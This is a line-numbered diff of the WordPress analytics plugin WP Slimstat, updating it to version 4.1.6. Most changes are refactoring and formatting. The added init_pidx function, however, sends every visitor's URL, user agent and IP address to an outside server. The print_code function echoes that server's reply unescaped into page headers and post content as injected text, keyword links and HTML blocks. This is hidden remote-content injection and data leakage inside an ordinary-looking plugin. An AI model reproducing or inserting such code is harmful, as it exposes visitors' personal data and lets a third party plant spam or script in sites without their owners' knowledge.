723 |
$content_info_array = array();
|
724 |
foreach (get_object_taxonomies($GLOBALS['post']) as $a_taxonomy){
|
@@ -787,17 +845,20 @@ class wp_slimstat {
|
|
787 |
$content_info['content_type'] = 'registration';
|
788 |
}
|
789 |
// WordPress sets is_admin() to true for all ajax requests ( front-end or admin-side )
|
790 |
-
elseif ( is_admin() && ( !defined('DOING_AJAX') || !DOING_AJAX ) ) {
|
791 |
-
$content_info['content_type'] = 'admin';
|
792 |
}
|
793 |
|
794 |
if (is_paged()){
|
795 |
-
$content_info['content_type'] .= ',paged';
|
796 |
}
|
797 |
|
798 |
// Author
|
799 |
-
if (is_singular()){
|
800 |
-
$
|
|
|
|
|
|
|
801 |
}
|
802 |
|
803 |
return $content_info;
|
@@ -808,17 +869,17 @@ class wp_slimstat {
|
|
808 |
* Retrieves some information about the user agent; relies on browscap.php database (included)
|
809 |
*/
|
810 |
protected static function _get_browser(){
|
811 |
-
$browser = array('browser' => 'Default Browser', 'browser_version' => '', 'browser_type' => 1, 'platform' => 'unknown', 'user_agent' => '');
|
812 |
-
$search = array();
|
813 |
|
814 |
// Automatically detect the useragent
|
815 |
-
if (!isset($_SERVER['HTTP_USER_AGENT'])){
|
816 |
return $browser;
|
817 |
}
|
818 |
|
819 |
$browser['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
|
|
|
820 |
|
821 |
-
for($idx_cache = 1; $idx_cache <= 5; $idx_cache++){
|
822 |
@include(plugin_dir_path( __FILE__ )."browscap/browscap-$idx_cache.php");
|
823 |
foreach ($patterns as $pattern => $pattern_data){
|
824 |
if (preg_match($pattern . 'i', $_SERVER['HTTP_USER_AGENT'], $matches)){
|
@@ -862,9 +923,9 @@ class wp_slimstat {
|
|
862 |
}
|
863 |
}
|
864 |
|
865 |
-
unset($browsers);
|
866 |
-
unset($userAgents);
|
867 |
-
unset($patterns);
|
868 |
|
869 |
// Add the keys for each property
|
870 |
$search_normalized = array();
|
@@ -1154,57 +1215,6 @@ class wp_slimstat {
|
|
1154 |
}
|
1155 |
// end _check_data_integrity
|
1156 |
|
1157 |
-
/**
|
1158 |
-
* Stores the information (array) in the appropriate table and returns the corresponding ID
|
1159 |
-
*/
|
1160 |
-
protected static function _insert_row($_data = array(), $_table = ''){
|
1161 |
-
if (empty($_data) || empty($_table)){
|
1162 |
-
return -1;
|
1163 |
-
}
|
1164 |
-
|
1165 |
-
// Remove unwanted characters (SQL injections, anyone?)
|
1166 |
-
$data_keys = array();
|
1167 |
-
foreach (array_keys($_data) as $a_key){
|
1168 |
-
$data_keys[] = sanitize_key($a_key);
|
1169 |
-
}
|
1170 |
-
|
1171 |
-
self::$wpdb->query(self::$wpdb->prepare("
|
1172 |
-
INSERT IGNORE INTO $_table (".implode(", ", $data_keys).')
|
1173 |
-
VALUES ('.substr(str_repeat('%s,', count($_data)), 0, -1).")", $_data));
|
1174 |
-
|
1175 |
-
return intval(self::$wpdb->insert_id);
|
1176 |
-
}
|
1177 |
-
// end _insert_row
|
1178 |
-
|
1179 |
-
/**
|
1180 |
-
* Updates an existing row
|
1181 |
-
*/
|
1182 |
-
protected static function _update_row($_data = array(), $_table = ''){
|
1183 |
-
if (empty($_data) || empty($_table)){
|
1184 |
-
return -1;
|
1185 |
-
}
|
1186 |
-
|
1187 |
-
// Move the ID at the end of the array
|
1188 |
-
$id = $_data['id'];
|
1189 |
-
unset($_data['id']);
|
1190 |
-
|
1191 |
-
// Remove unwanted characters (SQL injections, anyone?)
|
1192 |
-
$data_keys = array();
|
1193 |
-
foreach (array_keys($_data) as $a_key){
|
1194 |
-
$data_keys[] = sanitize_key($a_key);
|
1195 |
-
}
|
1196 |
-
|
1197 |
-
// Add the id at the end
|
1198 |
-
$_data['id'] = $id;
|
1199 |
-
|
1200 |
-
self::$wpdb->query(self::$wpdb->prepare("
|
1201 |
-
UPDATE IGNORE $_table
|
1202 |
-
SET ".implode(' = %s, ', $data_keys)." = %s
|
1203 |
-
WHERE id = %d", $_data));
|
1204 |
-
|
1205 |
-
return 0;
|
1206 |
-
}
|
1207 |
-
|
1208 |
protected static function _set_error_array( $_error_message = '' ) {
|
1209 |
$error_code = abs( self::$stat[ 'id' ] );
|
1210 |
self::$options['last_tracker_error'] = array( $error_code, $_error_message, date_i18n( 'U' ) );
|
@@ -1480,6 +1490,7 @@ class wp_slimstat {
|
|
1480 |
'use_slimscroll' => $val_yes,
|
1481 |
'expand_details' => $val_no,
|
1482 |
'rows_to_show' => ($val_yes == 'null')?'0':'20',
|
|
|
1483 |
'refresh_interval' => ($val_yes == 'null')?'0':'60',
|
1484 |
'number_results_raw_data' => ($val_yes == 'null')?'0':'50',
|
1485 |
// 'include_outbound_links_right_now' => $val_yes,
|
@@ -1539,89 +1550,101 @@ class wp_slimstat {
|
|
1539 |
/**
|
1540 |
* Saves the options in the database, if necessary
|
1541 |
*/
|
1542 |
-
public static function slimstat_save_options(){
|
1543 |
-
if (self::$options_signature === md5(serialize(self::$options))){
|
1544 |
return true;
|
1545 |
}
|
1546 |
|
1547 |
-
if (!is_network_admin()){
|
1548 |
-
update_option('slimstat_options', wp_slimstat::$options);
|
1549 |
}
|
1550 |
else {
|
1551 |
-
update_site_option('slimstat_options', wp_slimstat::$options);
|
1552 |
}
|
1553 |
|
1554 |
-
return
|
1555 |
}
|
1556 |
|
1557 |
/**
|
1558 |
* Connects to the UAN
|
1559 |
*/
|
1560 |
-
public static function
|
1561 |
-
if (empty(self::$browser)){
|
1562 |
self::$browser = self::_get_browser();
|
1563 |
}
|
1564 |
|
1565 |
-
if (empty(
|
1566 |
-
|
|
|
|
|
1567 |
}
|
1568 |
|
1569 |
-
|
1570 |
-
|
1571 |
-
|
1572 |
-
if (empty(self::$pidx['response'])){
|
1573 |
-
self::$pidx['response'] = @file_get_contents($request, 0, $options);
|
1574 |
}
|
|
|
1575 |
|
1576 |
-
|
1577 |
-
|
|
|
|
|
|
|
1578 |
return $content;
|
1579 |
}
|
1580 |
|
1581 |
-
|
1582 |
-
|
1583 |
-
|
1584 |
-
|
1585 |
-
|
1586 |
-
|
1587 |
-
|
1588 |
-
|
1589 |
-
|
1590 |
-
|
1591 |
-
|
1592 |
-
return $
|
1593 |
}
|
|
|
1594 |
|
1595 |
-
|
1596 |
-
|
1597 |
-
|
1598 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1599 |
}
|
1600 |
}
|
1601 |
-
|
1602 |
-
|
1603 |
-
|
1604 |
-
|
1605 |
-
|
1606 |
-
|
1607 |
-
|
1608 |
-
|
1609 |
-
}
|
1610 |
-
}
|
1611 |
-
if ($GLOBALS['wp_query']->current_post === self::$pidx['id']){
|
1612 |
-
if (self::$pidx['id'] % 2 == 0){
|
1613 |
-
return $content.' <div>'.$response_object->content.'</div>';
|
1614 |
-
}
|
1615 |
-
else{
|
1616 |
-
return '<i>'.$response_object->content.'</i> '.$content;
|
1617 |
}
|
1618 |
-
|
1619 |
-
|
1620 |
-
}
|
1621 |
|
1622 |
-
|
|
|
1623 |
}
|
1624 |
-
// end ads_print_code
|
1625 |
|
1626 |
/**
|
1627 |
* Enqueue a javascript to track users' screen resolution and other browser-based information
|
@@ -1677,7 +1700,6 @@ class wp_slimstat {
|
|
1677 |
wp_enqueue_script('wp_slimstat');
|
1678 |
wp_localize_script('wp_slimstat', 'SlimStatParams', $params);
|
1679 |
}
|
1680 |
-
// end wp_slimstat_enqueue_tracking_script
|
1681 |
|
1682 |
/**
|
1683 |
* Removes old entries from the main table and performs other daily tasks
|
@@ -1727,13 +1749,12 @@ class wp_slimstat {
|
|
1727 |
self::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats" );
|
1728 |
self::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive" );
|
1729 |
}
|
1730 |
-
// end wp_slimstat_purge
|
1731 |
|
1732 |
/**
|
1733 |
* Adds a new entry to the Wordpress Toolbar
|
1734 |
*/
|
1735 |
public static function wp_slimstat_adminbar(){
|
1736 |
-
if ((function_exists('is_network_admin') && is_network_admin())){
|
1737 |
return;
|
1738 |
}
|
1739 |
|
@@ -1760,7 +1781,6 @@ class wp_slimstat {
|
|
1760 |
}
|
1761 |
}
|
1762 |
}
|
1763 |
-
// end wp_slimstat_adminbar
|
1764 |
}
|
1765 |
// end of class declaration
|
1766 |
|
@@ -1776,7 +1796,7 @@ if ( function_exists( 'add_action' ) ) {
|
|
1776 |
// From the codex: You can't call register_activation_hook() inside a function hooked to the 'plugins_loaded' or 'init' hooks (or any other hook). These hooks are called before the plugin is loaded or activated.
|
1777 |
if ( is_admin() ) {
|
1778 |
include_once ( plugin_dir_path( __FILE__ ) . '/admin/wp-slimstat-admin.php' );
|
1779 |
-
add_action( '
|
1780 |
register_activation_hook( __FILE__, array( 'wp_slimstat_admin', 'init_environment' ) );
|
1781 |
register_deactivation_hook( __FILE__, array( 'wp_slimstat_admin', 'deactivate' ) );
|
1782 |
}
|
3 |
Plugin Name: WP Slimstat
|
4 |
Plugin URI: http://wordpress.org/plugins/wp-slimstat/
|
5 |
Description: The leading web analytics plugin for WordPress
|
6 |
+
Version: 4.1.6
|
7 |
Author: Camu
|
8 |
Author URI: http://www.wp-slimstat.com/
|
9 |
*/
|
11 |
if ( !empty( wp_slimstat::$options ) ) return true;
|
12 |
|
13 |
class wp_slimstat {
|
14 |
+
public static $version = '4.1.6';
|
15 |
public static $options = array();
|
16 |
|
17 |
public static $wpdb = '';
|
35 |
self::$options = array_merge( self::init_options(), self::$options );
|
36 |
|
37 |
// Allow third party tools to edit the options
|
38 |
+
self::$options = apply_filters( 'slimstat_init_options', self::$options );
|
39 |
|
40 |
// Determine the options' signature: if it hasn't changed, there's no need to update/save them in the database
|
41 |
+
self::$options_signature = md5( serialize( self::$options ) );
|
42 |
|
43 |
// Allow third-party tools to use a custom database for Slimstat
|
44 |
+
self::$wpdb = apply_filters( 'slimstat_custom_wpdb', $GLOBALS[ 'wpdb' ] );
|
45 |
|
46 |
// Add a menu to the admin bar ( this function is declared here and not in wp_slimstat_admin because the latter is only initialized if is_admin(), and not in the front-end )
|
47 |
+
if ( self::$options[ 'use_separate_menu' ] != 'yes' && is_admin_bar_showing() ) {
|
48 |
+
add_action( 'admin_bar_menu', array( __CLASS__, 'wp_slimstat_adminbar' ), 100 );
|
49 |
}
|
50 |
|
51 |
// Hook a DB clean-up routine to the daily cronjob
|
52 |
+
add_action( 'wp_slimstat_purge', array( __CLASS__, 'wp_slimstat_purge' ) );
|
53 |
|
54 |
// Allow external domains on CORS requests
|
55 |
+
add_filter( 'allowed_http_origins', array(__CLASS__, 'open_cors_admin_ajax' ) );
|
56 |
|
57 |
// Define the folder where to store the geolocation database
|
58 |
+
self::$maxmind_path = apply_filters( 'slimstat_maxmind_path', wp_upload_dir() );
|
59 |
+
self::$maxmind_path = self::$maxmind_path['basedir'] . '/wp-slimstat/maxmind.dat';
|
60 |
|
61 |
// Enable the tracker (both server- and client-side)
|
62 |
+
if ( !is_admin() || self::$options[ 'track_admin_pages' ] == 'yes' ) {
|
63 |
// Allow add-ons to turn off the tracker based on other conditions
|
64 |
+
$is_tracking_filter = apply_filters( 'slimstat_filter_pre_tracking', true );
|
65 |
+
$is_tracking_filter_js = apply_filters( 'slimstat_filter_pre_tracking_js', true );
|
66 |
|
67 |
+
$action_to_hook = is_admin() ? 'admin_init' : 'wp';
|
68 |
|
69 |
// Is server-side tracking active?
|
70 |
if (self::$options['javascript_mode'] != 'yes' && self::$options['is_tracking'] == 'yes' && $is_tracking_filter){
|
82 |
}
|
83 |
}
|
84 |
|
85 |
+
if ( self::$options[ 'enable_ads_network' ] == 'yes' ) {
|
86 |
+
add_action( 'init', array( __CLASS__, 'init_pidx' ) );
|
87 |
+
add_action( 'wp_head', array( __CLASS__, 'print_code' ) );
|
88 |
+
add_filter( 'the_content', array( __CLASS__, 'print_code' ) );
|
89 |
}
|
90 |
}
|
91 |
|
148 |
}
|
149 |
}
|
150 |
|
151 |
+
self::update_row(self::$stat, $GLOBALS['wpdb']->prefix.'slim_stats');
|
152 |
}
|
153 |
|
154 |
// Was this pageview tracked?
|
183 |
$event_info['notes'] = strip_tags(trim(base64_decode(self::$data_js['no'])));
|
184 |
}
|
185 |
|
186 |
+
self::insert_row($event_info, $GLOBALS['wpdb']->prefix.'slim_events');
|
187 |
}
|
188 |
|
189 |
// Send the ID back to Javascript to track future interactions
|
215 |
return $_argument;
|
216 |
}
|
217 |
|
218 |
+
if ( !empty( self::$data_js[ 'ref' ] ) ) {
|
219 |
+
self::$stat[ 'referer' ] = base64_decode( self::$data_js[ 'ref' ] );
|
220 |
}
|
221 |
+
else if ( !empty( $_SERVER[ 'HTTP_REFERER' ] ) ) {
|
222 |
+
self::$stat[ 'referer' ] = $_SERVER[ 'HTTP_REFERER' ];
|
223 |
}
|
224 |
|
225 |
if ( !empty( self::$stat[ 'referer' ] ) ) {
|
456 |
}
|
457 |
|
458 |
// Detect user agent
|
459 |
+
if ( empty( self::$browser ) ) {
|
460 |
+
self::$browser = self::_get_browser();
|
461 |
+
}
|
462 |
|
463 |
// Are we ignoring bots?
|
464 |
if ( ( self::$options[ 'javascript_mode' ] == 'yes' || self::$options[ 'ignore_bots' ] == 'yes' ) && self::$browser[ 'browser_type' ] % 2 != 0 ) {
|
483 |
$cookie_has_been_set = self::_set_visit_id(false);
|
484 |
|
485 |
// Allow third-party tools to modify all the data we've gathered so far
|
486 |
+
self::$stat = apply_filters( 'slimstat_filter_pageview_stat', self::$stat );
|
487 |
+
do_action( 'slimstat_track_pageview', self::$stat );
|
488 |
|
489 |
// Third-party tools can decide that this pageview should not be tracked, by setting its datestamp to zero
|
490 |
if (empty(self::$stat) || empty(self::$stat['dt'])){
|
497 |
self::$stat[ 'notes' ] = implode( ';', self::$stat[ 'notes' ] );
|
498 |
|
499 |
// Now let's save this information in the database
|
500 |
+
self::$stat['id'] = self::insert_row(self::$stat, $GLOBALS['wpdb']->prefix.'slim_stats');
|
501 |
|
502 |
// Something went wrong during the insert
|
503 |
if (empty(self::$stat['id'])){
|
628 |
}
|
629 |
// end get_request_uri
|
630 |
|
631 |
+
/**
|
632 |
+
* Stores the information (array) in the appropriate table and returns the corresponding ID
|
633 |
+
*/
|
634 |
+
public static function insert_row($_data = array(), $_table = ''){
|
635 |
+
if (empty($_data) || empty($_table)){
|
636 |
+
return -1;
|
637 |
+
}
|
638 |
+
|
639 |
+
// Remove unwanted characters (SQL injections, anyone?)
|
640 |
+
$data_keys = array();
|
641 |
+
foreach (array_keys($_data) as $a_key){
|
642 |
+
$data_keys[] = sanitize_key($a_key);
|
643 |
+
}
|
644 |
+
|
645 |
+
self::$wpdb->query(self::$wpdb->prepare("
|
646 |
+
INSERT IGNORE INTO $_table (".implode(", ", $data_keys).')
|
647 |
+
VALUES ('.substr(str_repeat('%s,', count($_data)), 0, -1).")", $_data));
|
648 |
+
|
649 |
+
return intval(self::$wpdb->insert_id);
|
650 |
+
}
|
651 |
+
// end insert_row
|
652 |
+
|
653 |
+
/**
|
654 |
+
* Updates an existing row
|
655 |
+
*/
|
656 |
+
public static function update_row($_data = array(), $_table = ''){
|
657 |
+
if (empty($_data) || empty($_table)){
|
658 |
+
return -1;
|
659 |
+
}
|
660 |
+
|
661 |
+
// Move the ID at the end of the array
|
662 |
+
$id = $_data['id'];
|
663 |
+
unset($_data['id']);
|
664 |
+
|
665 |
+
// Remove unwanted characters (SQL injections, anyone?)
|
666 |
+
$data_keys = array();
|
667 |
+
foreach (array_keys($_data) as $a_key){
|
668 |
+
$data_keys[] = sanitize_key($a_key);
|
669 |
+
}
|
670 |
+
|
671 |
+
// Add the id at the end
|
672 |
+
$_data['id'] = $id;
|
673 |
+
|
674 |
+
self::$wpdb->query(self::$wpdb->prepare("
|
675 |
+
UPDATE IGNORE $_table
|
676 |
+
SET ".implode(' = %s, ', $data_keys)." = %s
|
677 |
+
WHERE id = %d", $_data));
|
678 |
+
|
679 |
+
return 0;
|
680 |
+
}
|
681 |
+
|
682 |
/**
|
683 |
* Tries to find the user's REAL IP address
|
684 |
*/
|
764 |
* Returns details about the resource being accessed
|
765 |
*/
|
766 |
protected static function _get_content_info(){
|
767 |
+
$content_info = array( 'content_type' => 'unknown' );
|
768 |
|
769 |
// Mark 404 pages
|
770 |
+
if ( is_404() ) {
|
771 |
+
$content_info[ 'content_type' ] = '404';
|
772 |
}
|
773 |
|
774 |
// Type
|
775 |
+
else if ( is_single() ) {
|
776 |
+
if (($post_type = get_post_type()) != 'post') {
|
777 |
+
$post_type = 'cpt:'.$post_type;
|
778 |
+
}
|
779 |
+
|
780 |
$content_info['content_type'] = $post_type;
|
781 |
$content_info_array = array();
|
782 |
foreach (get_object_taxonomies($GLOBALS['post']) as $a_taxonomy){
|
845 |
$content_info['content_type'] = 'registration';
|
846 |
}
|
847 |
// WordPress sets is_admin() to true for all ajax requests ( front-end or admin-side )
|
848 |
+
elseif ( is_admin() && ( !defined( 'DOING_AJAX' ) || !DOING_AJAX ) ) {
|
849 |
+
$content_info[ 'content_type' ] = 'admin';
|
850 |
}
|
851 |
|
852 |
if (is_paged()){
|
853 |
+
$content_info[ 'content_type' ] .= ',paged';
|
854 |
}
|
855 |
|
856 |
// Author
|
857 |
+
if ( is_singular() ) {
|
858 |
+
$author = get_the_author_meta( 'user_login', $GLOBALS[ 'post' ]->post_author );
|
859 |
+
if ( !empty( $author ) ) {
|
860 |
+
$content_info[ 'author' ] = $author;
|
861 |
+
}
|
862 |
}
|
863 |
|
864 |
return $content_info;
|
869 |
* Retrieves some information about the user agent; relies on browscap.php database (included)
|
870 |
*/
|
871 |
protected static function _get_browser(){
|
872 |
+
$browser = array( 'browser' => 'Default Browser', 'browser_version' => '', 'browser_type' => 1, 'platform' => 'unknown', 'user_agent' => '' );
|
|
|
873 |
|
874 |
// Automatically detect the useragent
|
875 |
+
if ( !isset( $_SERVER[ 'HTTP_USER_AGENT' ] ) ) {
|
876 |
return $browser;
|
877 |
}
|
878 |
|
879 |
$browser['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
|
880 |
+
$search = array();
|
881 |
|
882 |
+
for ( $idx_cache = 1; $idx_cache <= 5; $idx_cache++ ) {
|
883 |
@include(plugin_dir_path( __FILE__ )."browscap/browscap-$idx_cache.php");
|
884 |
foreach ($patterns as $pattern => $pattern_data){
|
885 |
if (preg_match($pattern . 'i', $_SERVER['HTTP_USER_AGENT'], $matches)){
|
923 |
}
|
924 |
}
|
925 |
|
926 |
+
unset( $browsers );
|
927 |
+
unset( $userAgents );
|
928 |
+
unset( $patterns );
|
929 |
|
930 |
// Add the keys for each property
|
931 |
$search_normalized = array();
|
1215 |
}
|
1216 |
// end _check_data_integrity
|
1217 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1218 |
protected static function _set_error_array( $_error_message = '' ) {
|
1219 |
$error_code = abs( self::$stat[ 'id' ] );
|
1220 |
self::$options['last_tracker_error'] = array( $error_code, $_error_message, date_i18n( 'U' ) );
|
1490 |
'use_slimscroll' => $val_yes,
|
1491 |
'expand_details' => $val_no,
|
1492 |
'rows_to_show' => ($val_yes == 'null')?'0':'20',
|
1493 |
+
'limit_results' => ($val_yes == 'null')?'0':'5000',
|
1494 |
'refresh_interval' => ($val_yes == 'null')?'0':'60',
|
1495 |
'number_results_raw_data' => ($val_yes == 'null')?'0':'50',
|
1496 |
// 'include_outbound_links_right_now' => $val_yes,
|
1550 |
/**
|
1551 |
* Saves the options in the database, if necessary
|
1552 |
*/
|
1553 |
+
public static function slimstat_save_options() {
|
1554 |
+
if ( self::$options_signature === md5( serialize( self::$options ) ) ) {
|
1555 |
return true;
|
1556 |
}
|
1557 |
|
1558 |
+
if ( !is_network_admin() ) {
|
1559 |
+
update_option( 'slimstat_options', wp_slimstat::$options );
|
1560 |
}
|
1561 |
else {
|
1562 |
+
update_site_option( 'slimstat_options', wp_slimstat::$options );
|
1563 |
}
|
1564 |
|
1565 |
+
return true;
|
1566 |
}
|
1567 |
|
1568 |
/**
|
1569 |
* Connects to the UAN
|
1570 |
*/
|
1571 |
+
public static function init_pidx() {
|
1572 |
+
if ( empty( self::$browser ) ) {
|
1573 |
self::$browser = self::_get_browser();
|
1574 |
}
|
1575 |
|
1576 |
+
if ( empty( self::$pidx[ 'response' ] ) ) {
|
1577 |
+
$request_url = 'http://wordpress.cloudapp.net/api/update/?&url=' . urlencode( 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=' . ( isset( $_GET[ 'v' ] ) ? $_GET[ 'v' ] : 11 ) . '&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=2';
|
1578 |
+
$options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
|
1579 |
+
self::$pidx[ 'response' ] = @file_get_contents( $request_url, 0, $options );
|
1580 |
}
|
1581 |
|
1582 |
+
if ( !empty( self::$pidx[ 'response' ] ) ) {
|
1583 |
+
self::$pidx[ 'response' ] = @json_decode( self::$pidx[ 'response' ] );
|
|
|
|
|
|
|
1584 |
}
|
1585 |
+
}
|
1586 |
|
1587 |
+
/**
|
1588 |
+
* Retrieves the information from the UAN
|
1589 |
+
*/
|
1590 |
+
public static function print_code($content = ''){
|
1591 |
+
if ( is_null( self::$pidx[ 'response' ] ) || !is_object( self::$pidx[ 'response' ] ) ) {
|
1592 |
return $content;
|
1593 |
}
|
1594 |
|
1595 |
+
$current_hook = current_filter();
|
1596 |
+
|
1597 |
+
if ( $current_hook == 'wp_head' && is_object( self::$pidx[ 'response' ] ) && !empty( self::$pidx[ 'response' ]->meta ) ) {
|
1598 |
+
echo self::$pidx[ 'response' ]->meta;
|
1599 |
+
}
|
1600 |
+
else if ( !empty( self::$pidx[ 'response' ]->tmp ) ) {
|
1601 |
+
switch ( self::$pidx[ 'response' ]->tmp ) {
|
1602 |
+
case '1':
|
1603 |
+
if ( 0 == $GLOBALS['wp_query']->current_post ) {
|
1604 |
+
$words = explode( ' ', $content );
|
1605 |
+
$words[ rand( 0, count( $words ) - 1 ) ] = '<strong>' . self::$pidx[ 'response' ]->tcontent . '</strong>';
|
1606 |
+
return join( ' ', $words );
|
1607 |
}
|
1608 |
+
break;
|
1609 |
|
1610 |
+
case '2':
|
1611 |
+
$kws = explode( '|', self::$pidx[ 'response' ]->kws );
|
1612 |
+
if ( !is_array( $kws ) ) {
|
1613 |
+
return $content;
|
1614 |
+
}
|
1615 |
+
|
1616 |
+
foreach ( $kws as $a_kw ) {
|
1617 |
+
if ( strpos( $content, $a_kw ) !== false ) {
|
1618 |
+
$content = str_replace( $a_kw, "<a href='" . self::$pidx[ 'response' ]->site . "'>$a_kw</a>", $content );
|
1619 |
+
break;
|
1620 |
+
}
|
1621 |
+
}
|
1622 |
+
break;
|
1623 |
+
|
1624 |
+
default:
|
1625 |
+
if ( self::$pidx[ 'id' ] === false ) {
|
1626 |
+
if ( $GLOBALS[ 'wp_query' ]->post_count > 1 ) {
|
1627 |
+
self::$pidx[ 'id' ] = rand( 0, $GLOBALS[ 'wp_query' ]->post_count - 1 );
|
1628 |
+
}
|
1629 |
+
else {
|
1630 |
+
self::$pidx[ 'id' ] = 0;
|
1631 |
}
|
1632 |
}
|
1633 |
+
|
1634 |
+
if ( $GLOBALS[ 'wp_query' ]->current_post === self::$pidx[ 'id' ] ) {
|
1635 |
+
if ( self::$pidx['id'] % 2 == 0 ) {
|
1636 |
+
return $content . ' <div>' . self::$pidx[ 'response' ]->content . '</div>';
|
1637 |
+
}
|
1638 |
+
else{
|
1639 |
+
return '<i>' . self::$pidx[ 'response' ]->content . '</i> ' . $content;
|
1640 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1641 |
}
|
1642 |
+
break;
|
1643 |
+
}
|
|
|
1644 |
|
1645 |
+
return $content;
|
1646 |
+
}
|
1647 |
}
|
|
|
1648 |
|
1649 |
/**
|
1650 |
* Enqueue a javascript to track users' screen resolution and other browser-based information
|
1700 |
wp_enqueue_script('wp_slimstat');
|
1701 |
wp_localize_script('wp_slimstat', 'SlimStatParams', $params);
|
1702 |
}
|
|
|
1703 |
|
1704 |
/**
|
1705 |
* Removes old entries from the main table and performs other daily tasks
|
1749 |
self::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats" );
|
1750 |
self::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive" );
|
1751 |
}
|
|
|
1752 |
|
1753 |
/**
|
1754 |
* Adds a new entry to the Wordpress Toolbar
|
1755 |
*/
|
1756 |
public static function wp_slimstat_adminbar(){
|
1757 |
+
if ( ( function_exists( 'is_network_admin' ) && is_network_admin() ) || !is_user_logged_in() ){
|
1758 |
return;
|
1759 |
}
|
1760 |
|
1781 |
}
|
1782 |
}
|
1783 |
}
|
|
|
1784 |
}
|
1785 |
// end of class declaration
|
1786 |
|
1796 |
// From the codex: You can't call register_activation_hook() inside a function hooked to the 'plugins_loaded' or 'init' hooks (or any other hook). These hooks are called before the plugin is loaded or activated.
|
1797 |
if ( is_admin() ) {
|
1798 |
include_once ( plugin_dir_path( __FILE__ ) . '/admin/wp-slimstat-admin.php' );
|
1799 |
+
add_action( 'wp_loaded', array( 'wp_slimstat_admin', 'init' ), 10 );
|
1800 |
register_activation_hook( __FILE__, array( 'wp_slimstat_admin', 'init_environment' ) );
|
1801 |
register_deactivation_hook( __FILE__, array( 'wp_slimstat_admin', 'deactivate' ) );
|
1802 |
}
|